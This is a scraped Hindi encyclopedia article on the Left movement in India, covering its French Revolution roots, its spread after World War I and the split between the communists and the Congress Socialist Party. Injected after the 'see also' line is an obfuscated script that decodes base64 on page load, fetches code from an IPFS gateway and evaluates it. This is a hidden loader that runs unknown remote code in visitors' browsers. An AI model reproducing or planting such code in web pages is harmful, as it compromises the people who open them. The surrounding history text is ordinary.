एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

वामपन्थ आन्दोलन  

वामपन्थ आन्दोलन से भारत में दो विचारधाराओं के फलस्वरूप विकास हुआ था। दक्षिण और 'वाम' शब्द का प्रथम प्रयोग फ़्राँसीसी क्रान्ति के समय हुआ। राजा के अनुयायी दक्षिणपंथी एवं उनके विरोधी वामपंथी कहे गये। कालांतर में आगे चलकर वामपन्थ को ही 'समाजवाद' एवं 'साम्यवाद' कहा जाने लगा। भारत में यह विचारधारा प्रथम विश्वयुद्ध (1914-1919 ई.) के बाद ही मुख्य रूप से प्रचलन में आई थी। तत्कालीन औद्योगिकी नगर कलकत्ता, बम्बई, कानपुर, लाहौर एवं मद्रास में 'साम्यवाद' का प्रभाव अत्यधिक था। बंगाल में ‘नवयुग’ के सम्पादक मुजफ़्फ़र अहमद, बम्बई में सोशलिस्ट के सम्पादक एस.ए. डांगे, मद्रास के सिंगारवेलु चेट्टिचार एवं लाहौर में ‘इनक्लाब’ के सम्पादक ग़ुलाम हुसैन आदि ने साम्यवादी विचारधारा को भारत में अपना पूर्ण समर्थन देते हुए उसके प्रसार में योगदान किया। भारत में इस आन्दोलन का दो विचारधाराओं-साम्यवाद और कांग्रेस समाजवादी दल के रूप में विकास हुआ। साम्यवाद को रूस के साम्यवादी संगठन ‘कमिन्टर्न’ का समर्थन प्राप्त था, जबकि 'कांग्रेस सोशलिस्ट दल' को भारतीय राष्ट्रीय कांग्रेस का समर्थन प्राप्त था। दूसरे शब्दों में यह कहा जा सकता है कि, यह कांग्रेस का 'वामपंथी दल' था।

इन्हें भी देखें: किसान आन्दोलन एवं आन्दोलन विप्लव सैनिक विद्रोह (1757-1856 ई.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=वामपन्थ_आन्दोलन&oldid=277542" से लिया गया